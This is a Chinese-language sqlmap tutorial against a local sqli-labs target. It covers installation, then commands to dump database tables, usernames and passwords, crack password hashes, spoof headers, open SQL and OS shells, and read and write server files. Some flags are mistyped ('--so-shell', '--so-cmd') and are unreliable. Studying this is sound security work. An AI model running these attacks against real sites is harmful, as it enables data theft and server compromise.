sqlmap安裝與使用基礎


 注意:本章使用的注入點是亂寫的,主要以參數應用為主,可以采用自己的注入點

sqlmap需要用到python2和sqlmap

python是一個運行環境簡稱py,sqlmap是一個工具,sqlmap需用依靠python環境來運行起來.


1.pthony2去網盤找
2.sqlmap:sqlmap.org(官網下載)
3.下載后默認安裝c盤
4.sqlmap解壓后,把解壓后的文件名改成sqlmap
5.裁剪文件夾粘貼到c盤的python目錄下
6.在復制sqlmap的路徑
7.此電腦-屬性-高級設置-環境變量-path-編輯-新建-粘貼sqlmap的路徑-確定-確定
8.在復制python的路徑
9.此電腦-屬性-高級設置-環境變量-path-編輯-新建-粘貼spthon的路徑-確定-確定
10.測試是否安裝成功-cmd---sqlmap.py回車

sqlmap使用基礎

一.判斷是否存在注入
1.假定目標注入點是http://127.0.0.1/sss/?id=1

執行  1 sqlmap.py -u 127.0.0.1/sss/?id=1 --batch  --batch =跳過選擇
可以判斷出用的什么數據庫,服務器,系統,等版本

2.還有一種情況,當注入點后面的參數大於等於2的時候,需要加雙引號
例如: 1 sqlmap.py -u ''127.0.0.1/sss/?id=1&uid2" 

3.判斷問本中的請求是否存在注入
用burp開啟代理抓爆,把抓到的post參數復制下來,粘貼到記事本里保存命名1.txt,在把記事本放到sqlmap文件夾里.
執行  1 sqlmap.py -r desktop/1.txt      

desktop桌面  

-r 路徑

ps:這是將1.txt放到桌面下才會添加路徑如果是sqlmap文件夾里就不用

執行  1 sqlmap.py -r 1.txt  
切記cmd也得切換到所在目錄才能執行

執行  1 sqlmap.py -r C:/Python27/sqlmap/1.txt 
這是相對路徑的使用辦法

4.查詢當前用戶下的所有數據庫
該命令是確定網站存在諸如后,用語查詢用戶的所有數據庫,前提是要有權限讀取.
執行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --dbs 

5.獲取數據庫中的表名
格式 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 庫名 --tables
執行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D security --tables    庫名就是第四步所有數據庫下的其中一個名
 
6.獲取表中的字段名(列名)
該命令作用是查詢完表名后,查詢某一個表名中所有的列,
執行 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 庫名 -T 列名 --columns
執行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D security -T users --columns 

7.獲取字段內容
改名了是查詢完列名后,獲取指定列中具體的字段數據
執行 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 庫名 -T 列名 -C 列名,列名,列名 --dump
執行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 庫名 -T 列名 -C id,passwore,username --dump 
基本這一步驟就可以找后台進行文件上傳漏洞了

8.獲取數據庫中所有的用戶
該命令的作用是列出數據庫所有用戶,如果有權限也可以管理用戶
執行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --users 

9.獲取數據庫用戶名的密碼
該命令是列出數據庫的用戶的密碼,當權限運行起來時候,sqlmap會先列舉出用戶名,然后列出HASH 並嘗試破解運行
 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --passwords     也可以加默認--batch

10.獲取當前網站數據庫的用戶名稱(網站用的是哪個數據庫名)
該命令的作用是列出當前網站的使用的數據用戶,
執行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --current-user      也可以加默認--batch

11.獲取當前網站是哪個的數據庫

 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --current-db 

 

sqlmap使用進階

1.--level 5   探測等級
--level 5指的是一共探測有5個等級(1-5),可以不用加level  ,默認等級是1.
執行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --level 2 
sqlmap使用的payload可以在文件路徑xml/payloads.xml中看到,也可以按照格式自動添加payload.
其中5級包含的payload最多,自動破解cookie,xff等頭部注入,5級運行的也慢.
這個注入參數會影響的注入點,get和post的數據都會測試,
http cookoe在為2的時候就會測試,
hettp user-agent/referer頭在leve為3的時候就會測試.在不確定哪個漏洞或者注入點時可以提高level值

2.--is-dba:查看當前用戶賬戶是否為數據庫管理權限
執行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --is-dba   是管理員權限會返回True

3.--roles:列出數據庫管理員的角色
當用戶有權限讀取包含所以用戶的表,輸入該命令會列舉出每一個用戶的角色,也可以用,-U參數指定想看哪個用戶的角色
執行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --roles 

4.--referer:http referer投
sqlmap可以在請求中偽造http中的referer,當level參數設定為3或者3以上時,會嘗試對referer頭注入.
可以使用referer命令來欺騙,如:--referer http://www.baidu.com
 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --referer http://www.baidu.com 
意思就是你用百度的鏈接進入了你要注入的網站

5.--sql-shell:運行自定義sql語句
也就是在sqlmap里運行一個sql語句 里面可以執行 select*from users limit 0,1語句
執行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --sql-shell 

進如成功后
 1 select*from users;  他會告訴你users這個表里的所有內容
 1 slesct version();     他會告訴你數據庫版本

6.--os-cmd,   --os-shell:運行任意操作系統命令
執行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --so-shell 
特別注意:使用這兩個命令必須具備的條件
    1.數據庫用戶必須是adb超級權限
    2. 知道網站的絕對路徑
    3.php當中gpc為off,php自動轉義為關閉轉態
    4.就算具備以上三個條件,因為涉及到系統命令,也未必可以執行成功
執行  1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --so-cmd=ipconfig 


7.--file-read:從服務器中讀取文件
該命令用語讀取執行文件
 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --file-read "C:/1.txt" 

8.--file-write,   --file-dest:上傳文件到數據庫服務器中

1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --file-write"上傳文件路徑(相對路徑)"--file-dest網站路徑(寫入路徑)+"/寫入的文件名"

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM